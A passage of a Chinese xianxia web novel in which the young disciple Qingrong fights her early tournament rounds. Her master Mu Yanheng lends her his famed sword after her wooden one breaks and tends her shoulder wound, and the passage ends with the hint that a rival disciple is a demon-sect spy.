“不是他厉害。”慕砚恒抿了口茶,轻飘飘道,“是你们相互熟悉对方的招式,至于实力,为师不觉得这个组里有人胜于你。”
够狂,青容心道。
虽然是替她狂的。
“是,师父。”她很奉承。
“你第一轮的对手来自于恒山,知道如何应对吧。”
“知道的。”
“尽量三轮晋级。”
“好的。”
她实在过于听话乖巧,慕砚恒反而蹙了眉:“干什么了?这么反常?不是你对为师吹胡子瞪眼的时候了?”
青容眨巴眼:“徒儿一直很听话的。”
慕砚恒:“……”
他将茶杯放在门口的木桌上,神态轻飘飘的:“那如此听话的弟子,大比上是打算用左手持剑吗?”
青容哑然,就知道这茬过不去。
“弟子……左右手同时发展,这个不是很确定哈。”
慕砚恒瞥她一眼:“以你右手剑术,进个前八绰绰有余,若中途战败,为师可要怀疑你故意不敌。”
青容登时不干了,心态类似于她自己当然想一路连胜,但若有别人逼迫她这么做,那她反而会抗拒:“不要,徒儿才十三,哪能保证就一定打过所有人。”
“但是……”
“不要但是了。”青容往慕砚恒面前一坐,“徒儿剑都没有,中途武器指不定都碎了,到时候徒手肉搏可没胜算啊。”
慕砚恒噎了噎,轻拂衣摆坐在了她身侧,他想了想,竟是少见的有所退让,但依旧很令人来火:“若剑碎了,再议。”
“……”
回头都被人一脚踹下比武台淘汰了,还议什么?下届努力?凡人一生有几个四年!
青容对这种“蹉跎青春”的行为非常不满,但又不敢说什么,她撇撇嘴,脚尖在地上使劲碾来碾去,把沙尘都碾成了一个圈。
慕砚恒面无表情,但他的唇角有一瞬间的颤动,平添一丝懒洋洋的蔫坏。
青容看到了,登时碾得更起劲:“鎏虹,你说他在仙界也这个样子?真没人把他这个仙尊轰下去吗?”
“目前没有的。
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”鎏虹道,“等你回去可以试一下,揭穿他的恶行!”
“……算了。”青容深吸一口气,“我不揭穿,我是个大气的人,怎会斤斤计较凡间之事,等回到仙界,这些前尘纠葛自然就忘却了,他当他的仙尊,我这寻常小仙也碰不上他,反正到时候……”
他们也不会有关系了。
平地卷起一阵微风,窸窣落叶被刮下枝头,木桌上光影斑驳,一片落叶恰好落在慕砚恒肩头。
四下皆是群山,他没有发现落叶,视线定于前方不知在看何处,眉宇间往日的清冷早已消融,竟透出几分罕见的平和,恍惚间竟是有种宁静祥和的错觉。
青容忽然怔住了。
六载凡尘相伴,和慕砚恒也算是同吃同住了六年时光,她已逐渐习惯这种师不慈徒不孝的生活,同檐而居的日子竟让她险些忘了。
他是九重天最受尊崇的仙尊,若非她历劫恰好劈到这个倒霉蛋,那么他们行之一生直到羽化,也不会有任何交集。
她对身份之差并不敏感,所以很少意识到这件事,可真的像现在这样突然提起时,竟像有根细小的刺扎进心尖,泛起一阵隐秘的酸楚。
六年的晨昏相对,怎么会没有一丝感情。
哪怕带着算计。
慕砚恒见她不吭声,偏过头看了一眼,恰好瞧见她皱着眉出神,似乎心情不好的样子,慕砚恒顿了顿:“怎么?真生气了?”
他这话说的波澜不惊,很是自然,听着却莫名别扭,青容回过神,也觉得这话由师父对徒弟说好像有点不对,连忙摇摇头:“没有的。”
“嗯,那就好。”慕砚恒又收回了视线。
“……”
伤感之意登时烟消云散,青容心中吐了口气,立即感觉慕砚恒肩头的落叶和他本人一样很是碍眼:“师父,你肩头有树叶,需要徒儿拿下来吗?”
慕砚恒偏头,随手将余光中的落叶捏在手中,更为随手的一抛,那落叶随着风,直接沾在了青容的头发上。
青容:“……”
她觉得这人是故意的,只是实在荒谬,慕砚恒怎么会干这么幼稚的事情?
但回想起刚入门时,慕砚恒下黑脚那一拌,一切又好像合理起来。
这本就是个披着谪仙外表,实则处处故意使坏的人,在仙界哪会想到仙尊会有这一面。
她看过去,果然见慕砚恒依旧神色端肃,杵在那跟个雕像似的,她哼哼两声,心道此等道貌岸然之人,竟被修真门派奉若神明。
来日他魔宗宗主的身份暴露,不知那些人会不会信仰崩塌。
正想着,一只手忽然停在了她额前,发丝感受到了指尖的触碰,青容本能往后避了避,抬眸却正对上慕砚恒一副严肃神情。
“刚刚哼什么?”他嗤笑,捻走了碎发上的树叶。
慕砚恒很少笑,笑起来也并非是所谓的如沐春风,唇角勾起时,反而有些狡黠挑衅的味道,自己就破了他那冷若冰霜的人设。
怪不得总板着个脸,青容心想。
“没事干,就哼哼。”她说。
“这样啊。”慕砚恒将树叶揉碎,故作深思,“为师还以为你在心里说坏话呢。”
青容信誓旦旦,一脸正气:“那必不可能。”
慕砚恒点头:“嗯。”
青容跟着点头:“嗯。”
风停了,光影依旧。
23. 晚辈青容
第二日清晨,是仙门大比正式开始的前夕。
这比赛规模虽大,但实际上没什么麻烦规矩,因着参赛的大多是年轻小辈,主打一个轻松惬意,并没有各派弟子需集结整合后缓缓入场归席的传统,总结下来都是一句话:随便坐,别迟到就行。
青容早早寻了个最后排的位置,木剑丢在地上,怀里揣了包瓜子,悠哉悠哉很是惬意。
“哎,你再往后坐一排,这是参赛弟子的位置。”有人提醒她。
仙门大比自然是允许非参赛人员观赛,不过参赛弟子的席位相对靠前,青容恰好坐在参赛席位中的最后一排,这本很正常,只是她模样懒懒散散实在不像个参赛的,才会有人开口提醒。
她还在嗑瓜子,说话含含糊糊:“我就坐这的。”
这话由旁人听来却是“我就要坐这”的意思。
那人一愣,刚准备说嚣张,却被其他人拦住:“嘘,没看到她的衣服啊,这是临霜教弟子服,她真是坐那的。”
“临霜教也不是每个弟子都参加啊,你看她那木剑,也不像参赛的吧。”
“是哦。”
听到一切的青容:“……”
路人都忍不了她的武器了,慕砚恒还一声不吭装没看到。
青容心中叹气,顺便把瓜子递了过去:“挺香的,来点?”
几人也不说嚣张了,各自拿了一小撮,顺便回给青容一些糕点零食,最开始提醒她的人递过来一袋酥糖:“拿着吧,这个小孩都喜欢吃。”
“多谢。”青容也不客气。
但这世上显然没有无缘无故的讨好,那人又接着开口:“不过你既然是临霜教的,你知道你们那首席弟子在第几组第几轮吗?要是今天排不上,我就早点回去收衣服了。”
小组赛顺序是每组轮流打的,一般一天也就二十来场,大部分弟子第一天排不到。
这些人服装并不齐整,大概率是散修,看不到具体名单顺序,但其他分组青容着实没记:“不太记得了,我只知道欧阳晔是第十组第四轮。”
“那要轮到明天啊。”散修面露可惜,“今天就没什么好看的?”
应该没有,青容想。
虽然她是第一轮,不出意外今天就会上,但她和焦点战没有丝毫关系,就是上场混一下的事,自然不会好看。
散修突然想起什么似的,拍了拍她的肩:“那个青容,你们门派的,你认识吧,她是几组几轮啊?”
“……”
怎么都对她感兴趣,她都做好浑水摸鱼的准备了,不得让这些人失望而归。
“十组一轮。”她如实回答。
“太好了,那今天没白来。”散修面露兴奋。
正说着,青容旁边多挤了个人,陆怀夕几乎要和青容贴在一起,嬉皮笑脸的:“挺热闹啊,你怎么坐在这?”
她今天将头发扎了起来,整个人英姿飒爽,很是灼眼,饶是青容也忍不住多瞧了瞧。
陆怀夕这张脸散修们基本都是见过的,她上一届运气有点衰,五十强分在了死亡之组,最终一分之差落选十六强,但她长得好看,又是亲传弟子,与人相处落落大方,台上犀利又优美的剑势更是令许多人记住了她的模样。
散修们登时正经起来,恭恭敬敬行了个礼,这是发自心底的尊重赞赏。
陆怀夕礼貌回礼,青容将木剑往一旁挪了挪,给陆怀夕腾出位置:“这边比前排视野好。”
“行,那我也坐这看看。”
两人这么一对话,刚刚开口的散修立刻意识到青容还真是坐在这的,他懊恼地挠挠头,心说果然人不可貌相。
这两届仙门大比,临霜教频出少年天才,依这架势,上上届临霜教的盛况只是个开始。
随着时间流逝,各派弟子逐渐来齐,虽说是随便坐,但大部分弟子还是按照门派坐在了一起,青容和陆怀夕来的最早,又在门派中人缘极好,临霜教弟子便不知不觉和她们凑到同一片区域。
“嘘,宗主来了。”有人低声说。
以东道主扶摇宗为首的一众掌门出现时,吵吵闹闹的弟子席恍然安静下来,观众席也是鸦雀无声,几乎所有人的目光都不由自主定在同一处。
青容抬眸,一眼就看到了熟悉的身影。
慕砚恒今天的衣着有些繁冗,镂空精绣的金丝细纹如同浮雕,染上一丝奢华端肃,如瀑长发被玉冠束起,白玉坠于腰间平添雅致,他整个人矜贵而清冷,似九天霁月上的皎皎谪仙。
这样一个人实在过于夺目,哪怕近乎整个修真界的年轻弟子都怕他,起身行礼时却也忍不住偷偷打量他。
“真好看啊。”不知哪个散修嘀咕了一句。
没人反驳这个连主语都没有的评价。
临霜教弟子自然属于见惯不怪,相对平静许多,但其他门派尤其第一次参加大比的弟子,眼神跟吸住了似的,又呆滞又隐隐藏着雀跃,席位起初的沉寂后也逐渐有了骚动。
和周围人一起行礼后又重新坐下的青容沉默不语,她自然注意到了这么多人的反应,和上一次来的时候差不多,反正每一届新弟子都得被这么惊艳一回,这也将是未来的固定流程之一。
扶摇宗宗主是个中年模样的男子,他激情念稿似的虚空寒暄了一阵,再发表了一通怀念过往并畅想未来的感想后,伴随四方鼓声响起,仙门大比正式开始。
“一组一轮,临霜教薛临,战,扶摇宗季焱。”
随着话音落下,两名弟子同时一跃上台,自言身份后,便正式交战。
台上噼噼啪啪,兵器摩擦的声音格外响亮,伴随着叫好或惋惜的叹气。起初青容看的很专心,但过了数十招后,她便收回目光,和陆怀夕聊天去了。
陆怀夕也是如此,没再认真看台上状况。
“你俩怎么不看了?”后面的年轻散修很是不解。
青容托着腮,只道:“已有胜负。”
或者说,还没开始的时候就几乎已有胜负。
因为仙门大比的揭幕战,其中一方便是上届的第一,但另一个人就是被抽到的倒霉蛋,差距太大,基本没有悬念。
上届魁首的薛临,为了人情世故已经放了些水,但季焱的应对还是有些艰难吃力,这场的胜负早已定下,什么时候结束只看这个水要放到什么时候。
毕竟第一场,没有深仇大恨的情况下也不会让对方输的太难看。
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终于,又过了好一会,薛临的剑尖指在了季焱的喉前三寸,一切对招同时停止。季焱咽了口唾沫,僵硬地收回双刀,苦笑着认了输。
“一组一轮,薛临胜。”
“临霜教的人果然厉害,不愧是上届魁首。”
“上届前八有五人出自临霜教,实在佩服。”
“不知道今年的魁首还是不是临霜教,听说江溪闻回归,估计十拿九稳喽。”
青容一边吃糕点,一边顺耳听听周遭的议论,似乎都对江溪闻很是看好,相比之下薛临反而不那么显眼。
薛临如今已有三十五,修真界不同于仙界,法力修为随年龄增长而递增。修真界说到底是凡人,哪怕内力逐渐高深,但只从对招来说,外家功夫还是占了很大一部分,内力并不足矣弥补年纪增长后的反应变慢,还有无可避免的精力体力下降。
毕竟修炼这东西,越往后瓶颈越多,越难进步,到最后便是拼谁的天赋更高,更易突破。
这也导致修真界大部分修者的黄金年龄基本在二十岁到三十五岁之间,除了极少数的人后续仍有突破建树,否则便是不可扭转的下滑。
近百年仙门大比的八强,基本也都是这个年龄段上下,因此相比于薛临,大家终究更看好二十五岁正处于巅峰的江溪闻。
年轻散修低头吐出枣核,面露惋惜:“只是可惜,上届江溪闻没有参加,否则还要更精彩些。”
“那上上届魁首呢?”有更年轻的人问道。
“啊,那位参加不了。”
“为什么?”
散修噎了噎,眼神极快地略过掌门席位,声音不自觉放低。
“因为只有弟子才能参加。”
上上届仙门大比,十三岁的龚柏清崭露头角,跻身八强一战成名,十七岁的江溪闻夺取第二惊艳众人,后续更是成为临霜教首席弟子。
而那年的魁首……
慕砚恒似有所感,轻飘飘朝青容的方向瞥了一眼,听着后方话题的青容也恰好在望他,两人正正好对上目光。
被抓个正着的青容立刻将视线收回,莫名有些心虚,所幸慕砚恒也没在意,也没有任何人注意到这个眼神交接。
因实力差异大的缘故,小组赛的速度较快,青容的瓜子磕了还没半袋,便听到了自己的名字。
“十组一轮,临霜教青容,战,恒山于牧。”
这是本届大比第一个瞩目的名字,本有些喧闹的弟子席一下安静许多,年轻散修倒是兴奋,他拍了拍青容的肩膀:“来了来了,我倒要看看这青容什么水准,快再给我点瓜子,我要好好欣赏这一局。”
青容没理他。
散修还以为她不愿意,忙道:“给点嘛,花糕和你换。”
青容站了起来,捞起放在地上沾了灰的木剑。
“你干嘛去?”散修一怔。
青容总算理了他一句:“上去比赛。”
紧接着,在散修呆滞的目光中,青容足尖轻轻点地,一跃而起,落在平台上的身姿灵动而轻盈。她像是根本不知道有多少人在注视自己,只是握着剑柄抱拳行礼,再寻常不过打招呼似的微微一笑。
“晚辈青容,见过前辈,请。”
24. 别再伤了
青容这个名字,于六年前算是在仙门的茶后闲谈中走了一遭,但实际上除临霜教以外,并没有什么人认识她,或者说,哪怕和她擦肩而过,也不会停下步伐,主动将她的模样和“青容”串在一起。
她周身气质过于随和淡然,哪怕是现在顶着慕砚恒唯一弟子的头衔上台,也没有分毫属于少年人的恣意张狂,但又和所谓年少老成不同,她也没有显得过于沉稳,只是单纯的很放松。
好像这不是仙门大比,她也不是什么护教弟子,只是被随手拉上来凑热闹的群众,偏偏这群众知晓自己胜券在握,便也不胆怯,十分沉静。
对面的恒山弟子于牧,瞧着约摸二十七八的模样,他自然早就知晓自己的对手是何人,只是当真正看到青容的模样时,他还是有些讶然。
紧接着,他不得不注意到杵在他眼前那破旧的甚至有些发霉的木剑。
青容也察觉到了这道目光,她抢先一步解释:“没有拿错,这个就是晚辈的武器。”
于牧便也不好再问什么,他一样抱拳行礼:“在下于牧,请。”
而后,他双手执起短刺,率先出招打破了平静。
两人顷刻间快速交手,欧阳晔哼哼两声,面露不悦:“这于牧,居然还抢先手,都不让让师妹。”
一般来说,对于第一次参加大比的年轻弟子,年长的都会先让个几招,展现谦和的同时也好让新人适应节奏,但于牧没有这么做。
“因为,他不敢赌。”龚柏清轻声道。
“赌什么?”
“赌谦让的几招内,自己一定不会输。”
哪怕青容还没有于牧的肩膀高,哪怕那柄木剑破破烂烂,哪怕所有人都知道她只有十三岁,是走后门进的临霜教。
于牧也不敢赌。
事实证明,他不赌是对的。
哪怕抢了先手,于牧竟也丝毫没占到上风。
恒山短刺以快和灵著称,然而青容更快,她左手的木剑像是与她融为一体,可以将她的想法百分百操控出来,剑花缭乱,霎是晃眼。于牧震惊于她剑术的娴熟,虽表面上尚能应付,但没人比他自己更清楚,连抢先手都占不到上风的情况下,落败只是时间问题。
青容也不急切,怕乱中出错,便一直将局势控在自己的节奏中,再一步步增加压迫,这是十分老练的对招方式,观赏性或许不高,但对于对手却是极致的压力。
于牧已然出了汗,找不到任何可以反击的空隙,好像他才是那个第一次参加大比的新人。
当青容找到破绽,一剑挑开短刺,剑刃架在他身前时,于牧反而有种解脱的感觉,他大口呼吸着,因周遭过于安静,他几乎能听到自己的心跳声。
“佩服。”他由衷赞叹,“临霜教……果然出少年天才,你潜心修习,未来定成宗师。”
青容收回木剑,淡淡一笑:“得前辈指点,是晚辈荣幸。”
她自然知晓自己什么水平,压着一整局是事实,这种时候接受表扬就行,过于谦逊反而是驳人面子。
“十组一轮,青容胜。”
青容回到席位时,也伴随着下一轮名单的播报,但大部分人的注意力依旧在她身上,看着她坐下,喝了两口水,拿起身侧的布袋,继续嗑瓜子。
云淡风轻到根本看不出刚刚比了个武。
年轻散修缓过神来,咽了口唾沫,也不敢再拍青容的肩膀,青容却反而侧身过来,看着他。
“你还要瓜子吗?”
“……”年轻散修惶恐摆手,“不不不,不用了。”
青容这才转回去,陆怀夕揽住她的肩,眼睛冒着光似的:“你剑术很高啊,指不定能进十六强呢,回去得小心欧阳晔那小子,指不定更黏着你切磋。”
“才第一轮,看不出什么。”青容瞄了眼台上新一轮的对决,“仙门人才济济,十六强的师兄师姐都是万里挑一的高手,我不敢奢想,走一步看一步吧。”
这是非常谦逊的说法。
事实证明,青容也确实过于谦逊。
数日后,在胜者组中,青容赢下了自己的第二轮比赛,距离三胜直接出线只有一步之遥。
只是,除却她自己,获取两胜的三个人,包括了欧阳晔和程嘉,而她的第三轮对手,便是后者。
她和欧阳晔避开了,但也撞上了其他掌门的亲传弟子。
“怎么没抽到你啊!”
欧阳晔似乎有点失望,以至于晚上吃饭时还在念叨这事。
自从青容大比前在门派内部的那次对招,欧阳晔便坚信了以往青容与他的交手和他自己一样,都有所收敛,他如今无比期望两个人能毫无保留真正打一场。
可惜居然错开了。
“对上也不好啊,我俩总有一个人不是三胜出线,多打一场多烦。”青容闷头啃猪肘,对欧阳晔的惋惜很不赞同。
欧阳晔轻声哼哼:“不在台上打,你就不出全力,搞的我也不敢出全力,那有什么意思嘛。”
青容抬眸看他,话音里带着淡然的嚣张:“谁说我在台上就出全力了?”
“师妹不装谦虚了啊?”欧阳晔一副看透的样子,“台上那彬彬有礼的,看的你师兄我汗毛直立,年轻人就得狂一点,别太死板,你有时候都越来越像你师父了。”
“怎么说话呢?”陆怀夕往欧阳晔那踢了一脚。
虽没有恶意,但也算背地里把护教顺了一嘴,欧阳晔立刻捂嘴:“错了错了,沉稳点也蛮好的,非常有气质。”
他哪里知道青容在慕砚恒那有多闹腾,就如同没人能想象到慕砚恒会和自己的徒弟阴阳着拌嘴,只是青容听到“死板”这个词,还是忍不住心里打了个哆嗦。
慕砚恒和这个形容千万不能沾,她也沾不了半分,死板的人可干不出罔顾伦常的事。
当然,只目前来看,无需担忧,慕砚恒的道貌岸然还是非常让她放心的。
…
第三小轮的比赛很快开始,在欧阳晔顺利赢下后,便是十组第二个直接出线名额的争夺。
向来倨傲的程嘉提着鞭子,难得有些畏畏缩缩,倒也不是因为害怕青容多强,只实在是那天当面说坏话的阴影太重,尴尬劲到现在也没缓过来。
青容倒坦然,照常行了礼,程嘉回礼后别过眼睛,脸跟苦瓜似的,好像打完这场后即将面临什么牢狱
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之灾。
看到名单时,也没料到会有这么个局面啊!
程嘉心情苦涩,连带着挥鞭子时也蔫蔫巴巴,但力道还在,威力倒分毫不减。
两人交手的招式速度并不像青容前两场比赛那么快。
毕竟长鞭的节奏远不如短刺,但胜在变化多端,且难以近身,青容并不急着快攻,脑中将慕砚恒教她的招式和实际境地联系在一起,慢慢寻找近身的破绽。
可程嘉毕竟是半月谷谷主亲传弟子,且参加过上一届仙门大比,青容知晓怎么应对长鞭,她更明白如何扬长避短。
又是一道凌厉的鞭风,青容正盘算着反击的机会,便凭着本能避开,谁知本已甩出的长鞭忽然一个转向,极其隐匿且迅速,青容虽立即反应,但依旧没能完全避让。她只觉左肩一痛,入眼处顷刻间多了一道血痕。
远处的慕砚恒神色微顿,弟子席也是一片哗然,陆怀夕瞪大了眼,欧阳晔直接唰一下站起来,又被龚柏清拉了回去。
大比上受伤是常事,只要没人认输,且受伤不过于严重,比赛依旧继续,不会因此中断。
血渗着衣服不断外溢,临霜教的弟子服主色为浅银,那溢出的血显得更加晃眼。
程嘉面色一白,急忙道:“抱……抱歉,我没收住。”
她能看出青容一直在寻找破解之法,只待她一个失误便能转守为攻,时间拖得越久对她越不利,因而情急之下竟没控制住力道。
左肩火燎般的刺痛让青容眉心微蹙,但她只是摇摇头:“无妨,继续。”
程嘉明显有了顾忌,不敢再像刚刚那样激进,但青容也没缓口气——她虽不是很怕疼,可并非没有触觉,出招牵扯伤口总会让她生理性一瑟缩,体内气息免不住一乱。
这一乱,本就残破的木剑更是没了内力支撑,随着又一次兵刃相撞,惊呼声中,木剑应声而断,碎成三四节落在地上,还能闻到轻微的木屑味。
青容愣了愣,无奈一笑,这武器终究过于寒碜,竟第三轮就没撑住,回去还得重新削一把。
长鞭收回,没有乘胜追击的意思。
大比上若武器损坏,原则上并不会暂停比赛,但若对手颇有风度,也会给予更换武器的时间。程嘉本就不是趁虚而入的人,又因伤人愧疚,自然停了手。
青容用不惯铁剑,可惜现在她没有挑三拣四的资格,她正准备找欧阳晔借剑,可就在这时,掌门席位有了窸窣动静。
她偏头,便见到慕砚恒不知何时站了起来,他眸光冷清淡然,似乎注意力并不在此,但几乎所有人都明白,他在望向何处。
片刻后,像是要印证旁人想法似的,他缓步朝擂台走了过去,与此同时,他的手里握着一柄通体银白的剑,如他本人一样泛着清冷却皎洁的淡淡光色。
一尘不染,却明锐锋利。
青容微怔。
而后,在五大门派弟子掌门以及数不清散修的惊愕目光下,他递出了这柄修真界所有人都认识的,象征着仙门之首,第一护教的昆吾剑。
“拿着吧。”他顿了顿,看着她,轻微的犹豫后又补充了一句。
“别再伤了。”
25. 比想象中好
接过昆吾剑时,触及那木剑不可比拟的手感,以及剑柄上残存的温热,青容承认,有那么一瞬间,她是感动的。
对于修真界来说,佩剑是顶顶重要的东西,虽然借剑算不得稀罕事,可这种象征身份的标志性佩剑就这么大剌剌拿给自己徒弟比武打架用,放眼临霜教历史也是头一遭。
然而感激之情之存在了一瞬,下一刻便被冲淡了。
因为青容接完剑后退时踩到了木剑的残骸。
她登时意识到,若不是慕砚恒非给她画大饼,让她再等等,她何必用这木剑苦苦支撑。
不知道的还以为慕砚恒是故意等她剑碎,来这一出感动她的呢。
不过昆吾的确好用,很轻,和她的鎏虹手感很像,青容简单挥了挥,便看向程嘉,点了点头。
这是示意继续的意思。
然而程嘉早就乱了心绪,一是伤人的愧疚,二是对慕砚恒主动递剑的震惊,以至于青容的招式她近乎手忙脚乱,应接不暇,没多久就落了下风。
半月谷谷主夏扶笙见自己的徒弟明显发挥失常,她有些焦急,瞥了瞥已经回到席位上的慕砚恒,忍不住道:“慕护教竟将佩剑随手交给徒弟比武用,看来传闻所说为实,护教确实是极为爱护令徒。”
她本身没什么恶意,只是暗戳戳损青容所用武器超标,有点给程嘉台阶走的意思,然而慕砚恒似乎故意接了这个认可。
他目光放在台上,淡淡道:“本君私以为,本君的徒弟用本君的佩剑,是一件再正常不过的事,只是既提及门派传闻,谷主应当比本君更多关注些。”
夏扶笙面色一僵,慕砚恒这不仅是损了回来,还损的忒毒,婉转的往人伤口上撒盐,若不是师语楼也在这,怕是连婉转的步骤都免了。
毕竟相比于慕砚恒爱护徒弟,“半月谷谷主被其徒弟当众表白”这种传闻明显还是高一个阶级。
这种八卦属于大家心里都清楚,但也算不上好事,最好别提的那种,听到对话的其他人只能装没听到,专心致志看着程嘉彻底落败。夕阳已然落山,随着一声宣告青容获胜的响,今日的比试也到此结束。
青容潇洒收剑,对着程嘉行礼,程嘉在短暂的失落后很快调整过来,回礼时面色还是倔倔的:“虽说这剑……但你确实很厉害,传闻非虚,希望我们十六强见。”
今日大比已结束,观众却没有以往离席那么快,青容下台后往掌门席位那瞄了一眼,恰巧慕砚恒也在看她,随即慢悠悠起身,朝她的方向缓步而行。
周遭声音顿时小了许多,慕砚恒行至青容身侧,定下脚步,没有率先开口。
青容觉得他应该是来要剑的,便将昆吾递了过去。
谁知慕砚恒摇摇头:“不急,等大比结束再还。”
青容倒有点受宠若惊:“呃,这会不会不太好。”
“没什么好不好,用自己师父的配剑而已,其他弟子是没有自己的师父吗?”
“……”
话糙理不糙,回去的路上鎏虹也在提醒她:“这是慕砚恒主动的关怀啊容容,男人嘛,偶尔护短一下很正常,你再顺顺毛,他保证心里特得意。”
青容:“……”
她实在无法将这些带着幼稚气的形容和眼前这个谪仙般清冷的青年放在一起,但说几句甜话也费不了心思,回府后,她当机立断便开始夸。
“师父真好,多谢师父,有师父这样的师父简直是弟子三生有幸,弟子每次一想到师父这么好都恨不得多吃三碗饭,多练半个时辰剑。”
慕砚恒:“……”
他难得哑言,目光定在青容的伤口上,因出剑动作的缘故,伤口又受了几次撕裂,以至于血依旧还在轻微外渗,颇有些止不住。
察觉到慕砚恒的视线,青容“哎呀”一声:“是哦,我受伤了,扶摇宗应该有医师吧?”
慕砚恒看着她,唇齿微启:“伤到左臂还用左手比试,生怕伤口迸的不够深。”
青容撇撇嘴,仰视着眼前人,一副不敢顶嘴的样子,瞧着倒有些可怜兮兮。
“过来。”
慕砚恒招呼她进了房间,从柜子里拿出了瓷白小药瓶,顺手往座椅上一指,这是要给她上药的意思。
慕砚恒不是没给她上过药,六年前她也是伤到了手臂,那药就是慕砚恒涂的,药效非常不错,连疤都没留。
而这一次,伤更重,慕砚恒似乎也更加细心。
他将手帕打湿,耐心清理伤口周围的血迹,一盆清水染红之后他又去换了一盆,擦拭时,手帕边角触碰到伤口,青容本能瑟缩了一下。
慕砚恒手一顿,他还没开口,青容便率先道:“没事。”
青容想的是,这也不是什么大伤,依慕砚恒这性子估计也不喜欢造作折腾的人,她便主动表示这点痛意无伤大雅,继续上药就行。
多令人省心,简直是普天之下最懂事的好徒弟。
慕砚恒却反而抬眸看她,面露疑惑:“为师是什么很可怕的人吗?”
这话来的莫名,青容愣了愣:“啊?”
“你觉得疼,你可以说出来,这没什么。”慕砚恒重新垂眸,话音却未停,“非要表现出一副不怕疼的样子,是为何?”
青容抿嘴,欲言又止。
“担心为师训斥你矫情?”
“……”
被拆穿了,有点尴尬。
见她神情,慕砚恒已经了然,他手上动作更轻了些,洒好药粉,再用绷带将伤处缓缓缠好。从始至终,青容没再说一句话。
“回自己房里换个衣服吧。”慕砚恒起身,将药瓶放回去,见她没动,又问,“怎么了?”
青容回过神:“哦,没什么,在想一些对战细节。”
“别想了,过段日子再教你套剑法,有用。”
青容点点头,拿着昆吾剑回了自己房间,直到坐回床上时,她还是一副在思索的模样。
鎏虹察觉到她的异样,便问:“想什么呢?”
“没想什么,我就是突然觉得……”青容瞥向搁置在桌上的昆吾,“慕砚恒似乎,比我想象的要好那么一点点。”
…
数日后,第四小轮对战结束,出线的五十人名单终于定下,也意味着将要迎来第二次分组。
这次是十人一组,还是要和同组其他九人都打一次的积分制
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,对上同门同派老熟人的概率大大增加。
果不其然,分组名单出来时,她在同一张纸上看到了熟悉的名字。
“大师兄啊。”青容叹了口气。
龚柏清,这可是一大劲敌,年仅十三便闯入八强的修真界天才,也是今年的夺魁热门。
小组赛结束,淘汰了一大半人,看名单的弟子少了许多,没有一开始那么拥挤,但还是有弟子经过时不小心蹭了下青容的手臂。
“哎!”欧阳晔不知从哪奔了过来,“我师妹伤着呢,麻烦你们走路别碰着她啊。”
碰到青容的弟子愣了愣,瞥了眼青容缠着绷带的手臂,登时了然:“啊,抱歉,刚刚没注意,不过伤成这样,第二轮真的还能打吗?”
青容很无奈,这绷带是慕砚恒缠的,伤其实不严重,但慕砚恒缠了之后就莫名显出一种缺胳膊断腿的感觉,她摇摇头:“无事,皮外伤而已,看起来严重……可能是因为我师父手法比较业余。”
那弟子一笑,竟接上话:“我师父也是,刮破皮都能缠上几圈,捂着不透气,难受得很。”
既已对话,出于礼貌起见,青容抬眸,对上那弟子的目光,她登时一噎。
眼前是个颇为俊美的少年,唇红齿白,眼眸漆黑如泼墨,偏偏是狭长的凤眼,说话间微红的眼角微微挑起,竟显出几分妖异。
可他又温润有礼,仪态方正,两种全然不同的气质杂糅在一起,有些不兼容的矛盾感,但也不会让人感到不适。
更重要的是,这是她难得记住模样的外门弟子,因为他上场时,陆怀夕在她耳边叨叨了几句,以至于她罕见的认出了这名弟子的身份。
“这就是纪苍华,半月谷谷主亲传弟子,在大殿上当众表白那个,不得不说长得确实有几分姿色,可惜罔顾伦常,败坏他师父还有半月谷的名声,若非他的实力在半月谷排列顶尖,还需要他在仙门大比发挥,不然估计早就逐出师门了。”
相比于其他弟子对这个名字的耻笑,青容更多的倒是一种惺惺相惜的战友感。尤其他还丝毫不顾及传闻,光明正大提及自己的师父,青容更是觉得此乃奇人。
这么厚脸皮的人可不多了。
“我师父对我很好的,你师父对你也很好。”青容顺口把慕砚恒也夸了夸。
纪苍华依旧笑着看她:“你是青容吧?我仔细看了你的对战,你很厉害啊,今年最黑的黑马。”
“……”
很野的形容词。
一旁的欧阳晔见两人聊起来了,他有些急切,毕竟纪苍华是风口浪尖上的人,并不适合交际过多,不过青容也没有继续聊下去的意思,只是简单恭维,便拱手做礼,准备离开。
青容倒不在乎这些舆论,只是刚刚告辞后,鎏虹的声音便在她脑内响起。
“容容,不要和纪苍华走太近。”
青容微愣,面上未显,只在心中问了声为何。
总不能也是让她不要和这种人玩的吧?他们未来可是同类,她还想找纪苍华取取经呢。
然而得到的回复大大出乎她的预料。
“他身上有魔气,不出意外,他是魔宗派来的卧底。”
26. 坠落
直到数日后的对战,青容依旧放不下此事,她一边从容不迫接着对方的招式,心里还忍不住念叨:“你说……魔宗这帮人,是不是都不太正常。”
怎么全跑仙门卧底来了?还专门搞师徒悖伦这套,这是什么流行趋势吗?
鎏虹赞同的同时忍不住提醒:“专心,能进第二阶段的弟子都是各门派个顶个的高手,根据往年判断,想稳进前三的话还是得拿六分以上,不要松懈。”
第二大轮是积分制,每个人都得和组内其余九人对战,胜者积一分,五个组的每组前三晋级,而十六强的剩下一个名额,会给积分最高的小组第四。
第四的分数很难算,所以能争前三还是得争前三。
值得一提的是,此届第二大轮开始,对战便换了地方,之前就是在一处方方正正的平台,而如今对战移到了水上,支起的平台小了许多,四周新增了许多桩子,更加考验步法身法。
这历来让空有蛮力缺少轻盈的选手头疼不已。
所幸青容不是用蛮力这挂,还算如鱼得水,在又一次顺利拿下一分后,算上小组赛的三场,她已经拿到八连胜。
昆吾剑收起,她再次在目光聚集中下台,伴随着零星的夸赞,相比于起初的惊叹,这次获胜后的反馈已是平静许多。
临霜教近几届天才横出,连胜已不是什么稀奇事,只是至今还没有全胜夺魁的弟子,就算是当初的慕砚恒,在这个回合也还是丢了一分。
毕竟即使前面艰难全胜,过了七八轮确认前三后,对上抢分的弟子,本就处于疲惫状态的大部分人也会选择放水,从个人角度,若因无关紧要的对战导致受伤,才是得不偿失。
以至于还没人达到全胜记录。
能进仙门大比的本就是各门派的高手,又筛了一轮,随着比赛强度增加,青容已经感到有些吃力,而下一场的对手,便是龚柏清。
“容容,你下轮还这么打吗?”
回到席位,鎏虹忍不住问。
“嗯。”青容心中应声,“丢一分没事。”
她原本就没打算胜过龚柏清,这种积分制丢个一两场也问题不大,相比于全胜的记录,还是少找些事更好。
鲜少有人知晓,青容的惯用手并不是左手。
她右手剑式和临霜教剑法完全不同,真这么堂而皇之在仙门大比上用出来,只会带来麻烦,没到万不得已的地步,她并不打算换手。
毕竟她的实际目标也就是进个八强,什么夺魁,太遥远了。
